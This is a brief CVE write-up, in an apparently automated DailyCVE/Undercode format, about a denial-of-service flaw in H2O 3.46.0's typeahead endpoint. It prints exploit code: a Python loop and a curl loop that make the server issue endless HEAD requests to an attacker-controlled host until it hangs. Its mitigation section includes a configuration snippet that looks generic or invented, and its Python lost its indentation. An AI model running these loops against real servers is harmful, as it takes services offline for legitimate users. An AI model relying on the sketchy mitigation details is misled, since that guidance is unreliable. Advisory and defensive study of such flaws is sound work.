How the CVE Works:
The vulnerability in H2O (version 3.46.0) lies in the typeahead endpoint, which processes `HEAD` requests to verify the existence of a specified resource. The endpoint fails to implement a timeout mechanism for these requests. An attacker can exploit this flaw by sending multiple `HEAD` requests to a server they control, which intentionally delays or hangs the response. This causes the H2O application to block while waiting for the response, leading to a denial of service (DoS) condition. As a result, the application becomes unresponsive to legitimate requests, disrupting its availability.
DailyCVE Form:
Platform: H2O
Version: 3.46.0
Vulnerability: Denial of Service (DoS)
Severity: High
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Code:
import requests
target_url = "http://target-h2o-server:port/typeahead"
malicious_server = "http://attacker-controlled-server:port/resource"
while True:
requests.head(target_url, params={"resource": malicious_server})
2. Exploit Command:
Use tools like `curl` to send repeated `HEAD` requests:
while true; do curl -I "http://target-h2o-server:port/typeahead?resource=http://attacker-controlled-server:port/resource"; done
Protection:
1. Patch Application:
Upgrade to a patched version of H2O (if available) that implements timeout mechanisms for `HEAD` requests.
2. Mitigation Code:
Implement a timeout for `HEAD` requests in the application:
import requests
from requests.exceptions import Timeout
try:
response = requests.head("http://target-server:port/resource", timeout=5)
except Timeout:
print("Request timed out")
3. Firewall Rules:
Block suspicious IPs or limit request rates using a firewall or WAF:
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j DROP
4. Monitoring:
Set up monitoring to detect unusual traffic patterns:
tail -f /var/log/nginx/access.log | grep "HEAD"
5. Configuration:
Configure H2O to limit the number of concurrent `HEAD` requests:
max_concurrent_requests: 10 timeout: 5s
6. Testing:
Use tools like `ab` (Apache Benchmark) to test the server’s resilience:
ab -n 1000 -c 10 -i http://target-h2o-server:port/typeahead?resource=http://valid-resource
By implementing these measures, you can mitigate the risk of exploitation and ensure the availability of your H2O application.
References:
Reported By: https://github.com/advisories/GHSA-5c8j-g96x-cj78
Extra Source Hub:
Undercode
